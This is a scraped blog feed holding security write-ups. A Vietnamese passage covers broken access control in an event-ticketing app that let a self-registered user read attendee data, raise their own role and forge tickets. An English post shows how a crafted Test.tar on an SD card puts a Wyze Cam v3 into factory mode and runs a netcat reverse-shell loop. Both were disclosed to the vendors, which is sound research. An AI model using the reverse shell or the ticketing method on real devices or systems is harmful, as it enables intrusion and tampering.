<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766565392388/ae22bb7e-4a0c-490c-8eba-13e0832a07ec.png" alt class="image--center mx-auto" /></p>
<p>Sau khoảng 10 phút đọc hiểu, gen code và test thì AI “nấu” ra cho mình đoạn code như sau</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766566154421/eaf7d8fc-7c37-469c-9883-28499cafe812.jpeg" alt class="image--center mx-auto" /></p>
<h1 id="heading-tim-loi">Tìm lỗi</h1>
<p>Viết tới đây thì mình mới nhận ra nãy giờ vẫn chỉ là chuẩn bị và vẫn chưa bắt đầu thực sự hack cái gì :)). Tin tốt là giờ mình đã nắm trong tay tất cả API implementation của app, coi như game này checkpoint ở đây và phần hacking mới thật sự bắt đầu.</p>
<p>Nếu bạn để ý thì trong những tấm hình phía trên, khi mình dịch ngược từ code Dart ra Python của app, thì có một tính năng không hề xuất hiện trên giao diện, đó là tính năng “đăng ký”. Và đây cũng chính là tính năng mở đầu cho một chuỗi bug domino của app.</p>
<p>Đầu tiên, với tính năng đăng ký thì mình đã có thể biến bản thân từ một tác nhân bên ngoài trở thành một tác nhân bên trong hệ thống. Điều này khả năng sẽ cung cấp cho mình nhiều quyền hơn unauthenticated users.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766567309252/a8f05eda-aad6-48e2-8c10-7748b0f99b23.jpeg" alt class="image--center mx-auto" /></p>
<p>Sau đó, mình lại tiếp tục nhận ra rằng user này có thể truy cập toàn bộ thông tin users khác trong database (không bao gồm password). Có vẻ như trong hệ thống có 3 role chính đó là: staff, agency, Z (Z là tên hệ thống). Trong đó role Z có quyền cao nhất.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766567658530/a53b306b-c5cc-449f-bc75-aef7168d460f.jpeg" alt class="image--center mx-auto" /></p>
<p>Và cả thông tin sự kiện</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766567676989/50002ea7-063e-4bff-9ccb-574387cd7775.jpeg" alt class="image--center mx-auto" /></p>
<p>Thông tin checkin vào show, ngày giờ, hạng vé, tên người mua, email, sđt</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766567925031/8ac7916c-6828-439a-8243-eca7017df327.jpeg" alt class="image--center mx-auto" /></p>
<p>Và cuối cùng, ảo ma nhất, mình phát hiện ra rằng mình có thể tự sửa role của mình trên database, cũng như bất cứ thông tin nào trên database mà mình nhìn thấy.</p>
<p>Kết quả đó là mình có thể thực hiện những hành động sau trên hệ thống:</p>
<ul>
<li><p>Lấy thông tin (email) của tất cả các users trên hệ thống</p>
</li>
<li><p>Lấy thông tin show, checkins (trong đó bao gồm thông tin người mua, ngày giờ, trạng thái checkin) trên hẹ thống</p>
</li>
<li><p>Tự thay đổi quyền của mình, tự cấp quyền truy cập vào app để quét vé</p>
</li>
<li><p>Tự tạo ra thông tin vé để tham dự sự kiện, thay đổi được trạng thái vé đã quét thành chưa quét</p>
</li>
</ul>
<h1 id="heading-poc">PoC</h1>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/GGvhYoCye-0">https://youtu.be/GGvhYoCye-0</a></div>
<p> </p>
<h1 id="heading-bao-cao">Báo cáo</h1>
<p>Sau khi phát hiện lỗ hổng thì mình đã liên hệ được với Security Team Leader của Z. Sau khi mình đưa một vài mô tả sơ lược về lỗ hổng thì anh Team Lead báo mình rằng bug này đã được phát hiện từ 2 tháng trước đó và deploy fix từ hôm trước. Tuy nhiên trong hôm đó mình vẫn truy cập và thay đổi được dữ liệu.</p>
<p>Trong buổi chiều hôm đó thì bug phân quyền khi register account mới đã được fix, tuy nhiên account được tạo trước đó với quyền Z thì vẫn có full quyền.</p>
<p>Lỗ hổng chỉ được fix vài hôm sau đó khi mà account admin mình tạo ra trong hệ thống của Z được xoá đi.</p>
<p>Mình thấy tiếc cho Z vì biết lỗ hổng từ sớm nhưng không fix nên mới dẫn tới việc bị khai thác. Có lẽ Z chỉ biết về bug register account chứ không biết về bug phân quyền nghiêm trọng. Security Team Leader cũng có trao đổi lại với mình là vụ register thì không patch được vì register là tính năng bắt buộc của Google Identity Toolkit/Firestore (cái này mình không rõ lắm). Theo mình thì nếu như register không tắt đi được thì mình nên xử lý nó ở backend để kiểm soát và chỉ cho user login qua API mình expose ra thôi.</p>
<p>Sau khi Z fix xong thì mình có trao đổi là muốn viết writeup cho lỗ hổng này và sẽ che hết các thông tin nhận diện của Z đi.</p>
<h1 id="heading-timeline">Timeline</h1>
<ul>
<li><p>25/11/2025: Phát hiện lỗ hổng</p>
</li>
<li><p>4/12/2025: Report lỗ hổng tới Z</p>
</li>
<li><p>5/12/2025: Lỗ hổng được fix</p>
</li>
<li><p>24/12/2025: Writeup</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[How I physically backdoored Wyze Camera v3]]></title><description><![CDATA[Update 9/8/2023: I got a credit from Wyze team here
At the time I'm writing this blog, the newest Wyze camera firmware version is 4.36.11.4679. You can directly download the firmware here or refer to the vendor's website.

After I got the firmware do...]]></description><link>https://thao.pw/how-i-physically-backdoored-wyze-camera-v3</link><guid isPermaLink="true">https://thao.pw/how-i-physically-backdoored-wyze-camera-v3</guid><category><![CDATA[hardware hacking]]></category><category><![CDATA[camera]]></category><category><![CDATA[wyze]]></category><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Fri, 28 Jul 2023 08:44:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1690534055069/302b5b83-89de-4ee4-afb6-960855c8530d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Update 9/8/2023</strong>: I got a credit from Wyze team <a target="_blank" href="https://www.wyze.com/pages/thank-you-white-hats">here</a></p>
<p>At the time I'm writing this blog, the newest Wyze camera firmware version is <a target="_blank" href="https://download.wyzecam.com/firmware/v3/demo_wcv3_4.36.11.4679.bin.zip"><strong>4.36.11.4679</strong></a><strong>.</strong> You can directly download the firmware <a target="_blank" href="https://download.wyzecam.com/firmware/v3/demo_wcv3_4.36.11.4679.bin.zip">here</a> or refer to the <a target="_blank" href="https://support.wyze.com/hc/en-us/articles/360024852172-Release-Notes-Firmware">vendor's website</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690529082752/0b98ca7f-e70d-4fad-9bfe-111650310b51.png" alt class="image--center mx-auto" /></p>
<p>After I got the firmware downloaded, I renamed it to <code>demo_wcv3.bin</code> and tried to follow <a target="_blank" href="https://support.wyze.com/hc/en-us/articles/360031490871-How-to-flash-your-Wyze-Cam-firmware-manually">this</a> instruction in order to manually flash the new firmware, but it didn't work.</p>
<p>So I extracted it using the command <code>binwalk -eM demo_wcv3.bin</code> and inspected it manually.</p>
<p>Here are the files after extraction:</p>
<pre><code class="lang-typescript">┌──(kali㉿kali)-[~<span class="hljs-regexp">/Desktop/</span>_demo_wcv3.bin.extracted]
└─$ ls -la
total <span class="hljs-number">21016</span>
drwxrwxrwx  <span class="hljs-number">7</span> kali kali    <span class="hljs-number">4096</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">35</span> .
drwxr-xr-x <span class="hljs-number">10</span> kali kali    <span class="hljs-number">4096</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> ..
-rwxrwxrwx  <span class="hljs-number">1</span> kali kali <span class="hljs-number">2881084</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> <span class="hljs-number">1</span>F0040.squashfs
-rwxrwxrwx  <span class="hljs-number">1</span> kali kali <span class="hljs-number">3379782</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> <span class="hljs-number">5</span>C0040.squashfs
-rwxrwxrwx  <span class="hljs-number">1</span> kali kali <span class="hljs-number">5808244</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> <span class="hljs-number">80</span>
-rwxrwxrwx  <span class="hljs-number">1</span> kali kali <span class="hljs-number">9412608</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> <span class="hljs-number">80.7</span>z
drwxrwxrwx  <span class="hljs-number">2</span> kali kali    <span class="hljs-number">4096</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> _80.extracted
drwxrwxrwx <span class="hljs-number">22</span> kali kali    <span class="hljs-number">4096</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> squashfs-root
drwxrwxrwx  <span class="hljs-number">2</span> kali kali    <span class="hljs-number">4096</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> squashfs-root<span class="hljs-number">-0</span>
drwxrwxrwx  <span class="hljs-number">8</span> kali kali    <span class="hljs-number">4096</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> squashfs-root<span class="hljs-number">-1</span>
drwxrwxrwx  <span class="hljs-number">2</span> kali kali    <span class="hljs-number">4096</span> Jul <span class="hljs-number">25</span> <span class="hljs-number">04</span>:<span class="hljs-number">19</span> squashfs-root<span class="hljs-number">-2</span>
</code></pre>
<p>I also tore down 2 Wyze v3 cameras for inspection, one with the older firmware that I can get into root shell via UART, and the other with the newest firmware that has no shell because it is equipped better root password.</p>
<p>Here is the UART pinouts if you are interested:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690533739457/aa43d226-77f1-4b0c-a5ab-ef40715d2371.png" alt class="image--center mx-auto" /></p>
<p>You can try extracting the password hash and breaking it on your own, but it looks much more secure:</p>
<pre><code class="lang-typescript">┌──(kali㉿kali)-[~<span class="hljs-regexp">/Desktop/</span>_demo_wcv3.bin.extracted]
└─$ find . | grep shadow               
./squashfs-root/etc/shadow

┌──(kali㉿kali)-[~<span class="hljs-regexp">/Desktop/</span>_demo_wcv3.bin.extracted]
└─$ cat ./squashfs-root/etc/shadow 
root:$<span class="hljs-number">6</span>$wyzecamv3$<span class="hljs-number">8</span>gyTEsAkm1d7wh12Eup5MMcxQwuA1n1FsRtQLUW8dZGo1b1pGRJgtSieTI02VPeFP9f4DodbIt2ePOLzwP0WI0:<span class="hljs-number">0</span>:<span class="hljs-number">0</span>:<span class="hljs-number">99999</span>:<span class="hljs-number">7</span>:::
</code></pre>
<p>While inspecting the bootlogs via UART, I found out there was quite interesting part of the code somewhere that is looking for a file named <code>Test.tar</code> :</p>
<pre><code class="lang-typescript"> __________________________________
|                                  |
|                                  |
|                                  |
|                                  |
| _   _             _           _  |
|| | | |_   _  __ _| |     __ _(_) |
|| |_| | | | |<span class="hljs-regexp">/ _| | |  _ /</span> _| | | |
||  _  | |_| | (_| | |_| | (_| | | |
||_| |_|\__,_|\__,_|_____|\__,_|_| |
|                                  |
|                                  |
|_____2020_WYZE_CAM_V3_<span class="hljs-meta">@HUALAI_____</span>|


WCV3 login: [    <span class="hljs-number">1.248833</span>] @@@@ tx-isp-probe ok(version H20200506a), compiler date=May  <span class="hljs-number">6</span> <span class="hljs-number">2020</span> @@@@@
[    <span class="hljs-number">1.287215</span>] exFAT: Version <span class="hljs-number">1.2</span><span class="hljs-number">.9</span>
[    <span class="hljs-number">1.314206</span>] jz_codec_register: probe() successful!
[    <span class="hljs-number">1.725724</span>] dma dma0chan24: Channel <span class="hljs-number">24</span> have been requested.(phy id <span class="hljs-number">7</span>,<span class="hljs-keyword">type</span> <span class="hljs-number">0x06</span> desc a0682000)
[    <span class="hljs-number">1.734817</span>] dma dma0chan25: Channel <span class="hljs-number">25</span> have been requested.(phy id <span class="hljs-number">6</span>,<span class="hljs-keyword">type</span> <span class="hljs-number">0x06</span> desc a0625000)
[    <span class="hljs-number">1.743996</span>] dma dma0chan26: Channel <span class="hljs-number">26</span> have been requested.(phy id <span class="hljs-number">5</span>,<span class="hljs-keyword">type</span> <span class="hljs-number">0x04</span> desc a07d4000)
[    <span class="hljs-number">1.816013</span>] jz_pwm_probe[<span class="hljs-number">255</span>] d_name = tcu_chn0
[    <span class="hljs-number">1.822279</span>] The version <span class="hljs-keyword">of</span> PWM driver is H20180309a
[    <span class="hljs-number">1.832702</span>] request pwm channel <span class="hljs-number">0</span> successfully
[    <span class="hljs-number">1.838984</span>] pwm-jz pwm-jz: jz_pwm_probe register ok !
[    <span class="hljs-number">2.073137</span>] RTL871X: <span class="hljs-keyword">module</span> init start
[    2.078381] RTL871X: rtl8189ftv v4.3.24.7_21113.20170208.nova.1.02
[    2.084766] RTL871X: build time: Dec 18 2020 16:40:08
[    2.090031] wlan power on by hualai
[    2.105791] RTL871X: <span class="hljs-keyword">module</span> init ret=0
[    2.123004] usbcore: registered new interface driver usb_ch34x
[    2.130403] ch34x: USB to serial driver for USB to serial chip ch340, ch341, etc.
[    2.138186] ch34x: V1.16 On 2020.12.23
[    2.151689] mmc1: card claims to support voltages below the defined range. These will be ignored.
Updating device time to:
Sun Feb 14 19:36:56 CST 2021
[    2.177094] mmc1: new SDIO card at address 0001
===========welcome to ver-comp tool=========
[    2.192296] RTL871X: ++++++++rtw_drv_init: vendor=0x024c device=0xf179 class=0x07
[    2.237058] RTL871X: HW EFUSE
[    2.240134] RTL871X: hal_com_config_channel_plan chplan:0x20
[ver-comp]dbg: appver:  4.36.0.280
[ver-comp]dbg: rootver: 4.36.0.112
[ver-comp]exec cmd: cp -rf /system/bin/app.ver /configs/
#######################
#   IS USER PROCESS   #
#######################
[    2.377273] RTL871X: rtw_regsty_chk_target_tx_power_valid return _FALSE for band:0, path:0, rs:0, t:-1
[    2.387880] RTL871X: rtw_ndev_init(wlan0) if1 mac_addr=40:24:b2:08:66:8a
[FC] cd pin not found tfcard
[FC] Test.tar no exist
[FC] In [user] mode!
</code></pre>
<p>After searching around in the extracted firmware, I found out that it's probably this piece of bash script in <code>squashfs-root-1/init/app_init.sh</code> that did the file checking:</p>
<pre><code class="lang-bash"><span class="hljs-comment">############### Select user mode or debug mode ###############</span>
DEBUG_STATUS=<span class="hljs-string">'/configs/.debug_flag'</span>

<span class="hljs-keyword">if</span> [ ! -f <span class="hljs-variable">$DEBUG_STATUS</span> ]; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"#######################"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"#   IS USER PROCESS   #"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"#######################"</span>
    /system/init/factory.sh &amp;
    /system/bin/factorycheck

    <span class="hljs-keyword">if</span> [ -f /tmp/factory ]; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">exit</span>
    <span class="hljs-keyword">fi</span>

    ...
<span class="hljs-keyword">else</span>
    sleep 0.5
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"#######################"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"#   IS DEBUG STATUS   #"</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">"#######################"</span>
<span class="hljs-keyword">fi</span>
</code></pre>
<p>So I opened the <code>squashfs-root-1/bin/factorycheck</code> binary using Ghidra, and quickly found out the pieces of code that output all those logs:</p>
<pre><code class="lang-cpp"><span class="hljs-function">undefined4 <span class="hljs-title">FUN_00400a60</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>

</span>{
  <span class="hljs-keyword">int</span> iVar1;
  byte *pbVar2;
  <span class="hljs-keyword">size_t</span> sVar3;
  FILE *__stream;
  byte *pbVar4;
  byte *pbVar5;
  <span class="hljs-keyword">char</span> *pcVar6;
  uint uVar7;
  <span class="hljs-keyword">char</span> acStack_218 [<span class="hljs-number">256</span>];
  byte local_118 [<span class="hljs-number">64</span>];
  byte local_d8 [<span class="hljs-number">64</span>];
  <span class="hljs-keyword">char</span> acStack_98 [<span class="hljs-number">64</span>];
  byte local_58 [<span class="hljs-number">68</span>];

  <span class="hljs-built_in">memset</span>(acStack_218,<span class="hljs-number">0</span>,<span class="hljs-number">0x100</span>);
  <span class="hljs-built_in">memset</span>(local_58,<span class="hljs-number">0</span>,<span class="hljs-number">0x40</span>);
  <span class="hljs-built_in">memset</span>(acStack_98,<span class="hljs-number">0</span>,<span class="hljs-number">0x40</span>);
  <span class="hljs-built_in">memset</span>(local_d8,<span class="hljs-number">0</span>,<span class="hljs-number">0x40</span>);
  <span class="hljs-built_in">memset</span>(local_118,<span class="hljs-number">0</span>,<span class="hljs-number">0x40</span>);
  iVar1 = access(<span class="hljs-string">"/media/mmc/Test.tar"</span>,<span class="hljs-number">0</span>);
  <span class="hljs-keyword">if</span> (iVar1 == <span class="hljs-number">0</span>) {
    system(<span class="hljs-string">"tar -xvf /media/mmc/Test.tar -C /tmp/"</span>);
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"[FC] Test.tar exist"</span>);
    FUN_00400850(<span class="hljs-string">"/tmp/Test/singleBoadTest"</span>,local_d8);
    uVar7 = <span class="hljs-number">0</span>;
    FUN_00400850(<span class="hljs-string">"/tmp/Test/factoryTestProcess"</span>,local_118);
    <span class="hljs-keyword">while</span>( <span class="hljs-literal">true</span> ) {
      sVar3 = <span class="hljs-built_in">strlen</span>((<span class="hljs-keyword">char</span> *)local_d8);
      pbVar5 = local_118 + uVar7;
      <span class="hljs-keyword">if</span> (sVar3 &lt;= uVar7) <span class="hljs-keyword">break</span>;
      pbVar4 = local_d8 + uVar7;
      pbVar2 = local_58 + uVar7;
      uVar7 = uVar7 + <span class="hljs-number">1</span>;
      *pbVar2 = *pbVar5 ^ *pbVar4;
    }
    __stream = fopen(<span class="hljs-string">"/tmp/Test/checksum"</span>,<span class="hljs-string">"rb"</span>);
    <span class="hljs-keyword">if</span> (__stream == (FILE *)<span class="hljs-number">0x0</span>) {
      pcVar6 = <span class="hljs-string">"[FC] Test.tar checksum no exist"</span>;
    }
    <span class="hljs-keyword">else</span> {
      sVar3 = fread(acStack_98,<span class="hljs-number">1</span>,<span class="hljs-number">0x40</span>,__stream);
      fclose(__stream);
      iVar1 = <span class="hljs-built_in">strncmp</span>(acStack_98,(<span class="hljs-keyword">char</span> *)local_58,sVar3);
      <span class="hljs-keyword">if</span> (iVar1 == <span class="hljs-number">0</span>) {
        system(<span class="hljs-string">"touch /tmp/factory"</span>);
        pcVar6 = <span class="hljs-string">"[FC] In [factory] mode!"</span>;
        <span class="hljs-keyword">goto</span> LAB_00400cac;
      }
      pcVar6 = <span class="hljs-string">"[FC] Test.tar checksum no right"</span>;
    }
    <span class="hljs-built_in">puts</span>(pcVar6);
    system(<span class="hljs-string">"rm /tmp/Test/ -rf"</span>);
  }
  <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"[FC] Test.tar no exist"</span>);
  }
  iVar1 = access(<span class="hljs-string">"/dev/mmcblk0p1"</span>,<span class="hljs-number">0</span>);
  <span class="hljs-keyword">if</span> ((iVar1 == <span class="hljs-number">0</span>) &amp;&amp; (iVar1 = access(<span class="hljs-string">"/media/mmc"</span>,<span class="hljs-number">0</span>), iVar1 == <span class="hljs-number">0</span>)) {
    pcVar6 = <span class="hljs-string">"umount /dev/mmcblk0p1"</span>;
LAB_00400c7c:
    <span class="hljs-built_in">strcpy</span>(acStack_218,pcVar6);
    system(acStack_218);
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"[FC] umount tfcard finish!"</span>);
  }
  <span class="hljs-keyword">else</span> {
    iVar1 = access(<span class="hljs-string">"/dev/mmcblk0"</span>,<span class="hljs-number">0</span>);
    <span class="hljs-keyword">if</span> ((iVar1 == <span class="hljs-number">0</span>) &amp;&amp; (iVar1 = access(<span class="hljs-string">"/media/mmc"</span>,<span class="hljs-number">0</span>), iVar1 == <span class="hljs-number">0</span>)) {
      pcVar6 = <span class="hljs-string">"umount /dev/mmcblk0"</span>;
      <span class="hljs-keyword">goto</span> LAB_00400c7c;
    }
  }
  system(<span class="hljs-string">"touch /tmp/usrflag"</span>);
  pcVar6 = <span class="hljs-string">"[FC] In [user] mode!"</span>;
LAB_00400cac:
  <span class="hljs-built_in">puts</span>(pcVar6);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}

<span class="hljs-function">undefined4 <span class="hljs-title">FUN_00400850</span><span class="hljs-params">(undefined4 param_1,<span class="hljs-keyword">void</span> *param_2)</span>

</span>{
  FILE *__stream;
  <span class="hljs-keyword">size_t</span> __n;
  undefined auStack_90 [<span class="hljs-number">64</span>];
  <span class="hljs-keyword">char</span> acStack_50 [<span class="hljs-number">64</span>];

  <span class="hljs-built_in">memset</span>(acStack_50,<span class="hljs-number">0</span>,<span class="hljs-number">64</span>);
  <span class="hljs-built_in">memset</span>(auStack_90,<span class="hljs-number">0</span>,<span class="hljs-number">64</span>);
  <span class="hljs-built_in">snprintf</span>(acStack_50,<span class="hljs-number">64</span>,<span class="hljs-string">"md5sum %s &gt; /tmp/mdtxt"</span>,param_1);
  system(acStack_50);
  __stream = fopen(<span class="hljs-string">"/tmp/mdtxt"</span>,<span class="hljs-string">"rb"</span>);
  __n = fread(auStack_90,<span class="hljs-number">1</span>,<span class="hljs-number">0x40</span>,__stream);
  fclose(__stream);
  <span class="hljs-keyword">if</span> (<span class="hljs-number">0</span> &lt; (<span class="hljs-keyword">int</span>)__n) {
    <span class="hljs-built_in">memcpy</span>(param_2,auStack_90,__n);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"get_uploadfile_md5:[%d][%s]\n"</span>,__n,param_2);
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
</code></pre>
<p>At a high-level concept, what the code does was:</p>
<ul>
<li><p>Extract <code>Test.tar</code> to <code>/tmp</code> : <code>tar -xvf /media/mmc/Test.tar -C /tmp/</code></p>
</li>
<li><p>Get md5 hashes of <code>/tmp/Test/singleBoadTest</code> and <code>/tmp/Test/factoryTestProcess</code>, save the hashes to <code>local_d8</code> and <code>local_118</code>:</p>
<pre><code class="lang-cpp">  FUN_00400850(<span class="hljs-string">"/tmp/Test/singleBoadTest"</span>,local_d8);
  FUN_00400850(<span class="hljs-string">"/tmp/Test/factoryTestProcess"</span>,local_118);
</code></pre>
</li>
<li><p>Xor the hashes and save them to <code>pbVar2</code> :</p>
<pre><code class="lang-cpp">  <span class="hljs-keyword">while</span>( <span class="hljs-literal">true</span> ) {
    sVar3 = <span class="hljs-built_in">strlen</span>((<span class="hljs-keyword">char</span> *)local_d8);
    pbVar5 = local_118 + uVar7;
    <span class="hljs-keyword">if</span> (sVar3 &lt;= uVar7) <span class="hljs-keyword">break</span>;
    pbVar4 = local_d8 + uVar7;
    pbVar2 = local_58 + uVar7;
    uVar7 = uVar7 + <span class="hljs-number">1</span>;
    *pbVar2 = *pbVar5 ^ *pbVar4;
  }
</code></pre>
</li>
<li><p>Check if <code>pbVar2</code> is equal with <code>/tmp/Test/checksum</code>, if yes then create <code>/tmp/factory</code> file</p>
<pre><code class="lang-cpp">  __stream = fopen(<span class="hljs-string">"/tmp/Test/checksum"</span>,<span class="hljs-string">"rb"</span>);
  <span class="hljs-keyword">if</span> (__stream == (FILE *)<span class="hljs-number">0x0</span>) {
    pcVar6 = <span class="hljs-string">"[FC] Test.tar checksum no exist"</span>;
  }
  <span class="hljs-keyword">else</span> {
    sVar3 = fread(acStack_98,<span class="hljs-number">1</span>,<span class="hljs-number">0x40</span>,__stream);
    fclose(__stream);
    iVar1 = <span class="hljs-built_in">strncmp</span>(acStack_98,(<span class="hljs-keyword">char</span> *)local_58,sVar3);
    <span class="hljs-keyword">if</span> (iVar1 == <span class="hljs-number">0</span>) {
      system(<span class="hljs-string">"touch /tmp/factory"</span>);
      pcVar6 = <span class="hljs-string">"[FC] In [factory] mode!"</span>;
      <span class="hljs-keyword">goto</span> LAB_00400cac;
    }
    pcVar6 = <span class="hljs-string">"[FC] Test.tar checksum no right"</span>;
  }
  <span class="hljs-built_in">puts</span>(pcVar6);
  system(<span class="hljs-string">"rm /tmp/Test/ -rf"</span>);
</code></pre>
</li>
</ul>
<p>Ok, so it seems like all of these codes were only to decide whether to create the <code>/tmp/factory</code> file which served as a flag for something. So how do we get a shell from this?</p>
<p>Well, the interesting part lies in <code>squashfs-root-1/init/factory.sh</code> which were executed along with the <code>factorycheck</code> script inside the <code>app_init.sh</code> above:</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/sh</span>

<span class="hljs-keyword">while</span> [ 1 ]
<span class="hljs-keyword">do</span>
    sleep 0.1;
    <span class="hljs-keyword">if</span> [ -f /tmp/factory ]; <span class="hljs-keyword">then</span>
        /tmp/Test/test.sh &amp;
        <span class="hljs-built_in">break</span>
    <span class="hljs-keyword">fi</span>
    <span class="hljs-keyword">if</span> [ -f /tmp/usrflag ]; <span class="hljs-keyword">then</span>
        <span class="hljs-built_in">break</span>
    <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span>
</code></pre>
<p>From this part, my execution plan was clear:</p>
<ul>
<li><p>Create a <code>Test</code> folder which contains:</p>
<ul>
<li><p><code>singleBoadTest</code>: Blank file</p>
</li>
<li><p><code>factoryTestProcess</code>: Blank file</p>
</li>
<li><p><code>checksum</code> : Xor of the md5 hashes of 2 blank files above, which of course contains <code>b'\0' * 32</code></p>
</li>
<li><p><code>/tmp/Test/test.sh</code> : Our injection script for shell</p>
</li>
</ul>
</li>
<li><p><code>tar -cvf Test.tar Test/</code></p>
</li>
<li><p>Copy <code>Test.tar</code> to the SDCard</p>
</li>
<li><p>Plug it into the device, reboot, and enjoy (no need to teardown or do anything abnormally at all)</p>
</li>
</ul>
<p>Here is the script I put into <code>test.sh</code> for the reverse shell. Because when switched into test mode the device wouldn't run any network initialization at all so I had to initialize them on my own. I put my <code>wpa_supplicant.conf</code> at <code>/media/mmc/full-firmware/tmp/wpa_supplicant.conf</code> which is inside the SDCard. I also grabbed a better version of <code>busybox-mipsel</code> binary from <a target="_blank" href="https://busybox.net/downloads/binaries/1.21.1/">here</a> to be able to use netcat.</p>
<pre><code class="lang-bash">mkdir /media/mmc
mount /dev/mmcblk0p1 /media/mmc
ifconfig wlan0 up
wpa_supplicant -c /media/mmc/full-firmware/tmp/wpa_supplicant.conf -i wlan0 &amp;
udhcpc -i wlan0
<span class="hljs-keyword">while</span> <span class="hljs-literal">true</span>; <span class="hljs-keyword">do</span>
    /media/mmc/full-firmware/tmp/busybox-mipsel nc &lt;IP&gt; 1337 -e /bin/sh
    sleep 1
<span class="hljs-keyword">done</span>
</code></pre>
<p>If everything went well, you will see these logs after reboot:</p>
<pre><code class="lang-typescript">[FC] mount tfcard finish!
Test/
Test/checksum
Test/factoryTestProcess
Test/singleBoadTest
Test/test.sh
[FC] Test.tar exist
get_uploadfile_md5:[<span class="hljs-number">59</span>][d41d8cd98f00b204e9800998ecf8427e  /tmp/Test/singleBoadTest
]
get_uploadfile_md5:[<span class="hljs-number">63</span>][d41d8cd98f00b204e9800998ecf8427e  /tmp/Test/factoryTestProcess
]
[FC] In [factory] mode!
mkdir: can<span class="hljs-string">'t create directory '</span>/media/mmc<span class="hljs-string">': File exists
mount: mounting /dev/mmcblk0p1 on /media/mmc failed: Device or resource busy
udhcpc: started, v1.33.1
udhcpc: sending discover
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
nl80211: Could not re-add multicast membership for vendor events: -2 (No such file or directory)
wlan0: CTRL-EVENT-REGDOM-CHANGE init=BEACON_HINT type=UNKNOWN
wlan0: Trying to associate with 10:39:4e:fb:bf:f0 (SSID='</span>&lt;redacted&gt;<span class="hljs-string">' freq[    5.851126] RTL871X: rtw_set_802_11_connect(wlan0)  fw_state=0x00000008
=2412 MHz)
[    5.940730] RTL871X: start auth
[    6.288097] RTL871X: auth success, start assoc
[    6.337639] RTL871X: assoc success
wlan0: Associated with 10:39:4e:fb:bf:f0
wlan0: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
[    6.438169] RTL871X: recv eapol packet
[    6.442789] RTL871X: send eapol packet
[    6.462905] RTL871X: recv eapol packet
[    6.537203] RTL871X: send eapol packet
[    6.543331] RTL871X: set pairwise key camid:4, addr:10:39:4e:fb:bf:f0, kid:0, type:AES
wlan0: WPA: Key negotiation completed w[    6.554394] RTL871X: set group key camid:5, addr:10:39:4e:fb:bf:f0, kid:2, type:AES
ith 10:39:4e:fb:bf:f0 [PTK=CCMP GTK=CCMP]
wlan0: CTRL-EVENT-CONNECTED - Connection to 10:39:4e:fb:bf:f0 completed [id=0 id_str=]
udhcpc: sending discover
udhcpc: sending select for 192.168.1.44
udhcpc: lease of 192.168.1.44 obtained, lease time 86400
deleting routers
adding dns 192.168.1.1</span>
</code></pre>
<p>And yes, the shell:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1690532266816/09a62f96-3b40-4d1e-abad-79c0da248d82.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Google CTF 2023 Writeup]]></title><description><![CDATA[This year's Google CTF, while traveling in Danang, I managed to solve 2 misc problems: npc and symatrix. Both seem like algorithm-flavored problems.

Here are the writeups for them:
npc
Problem description

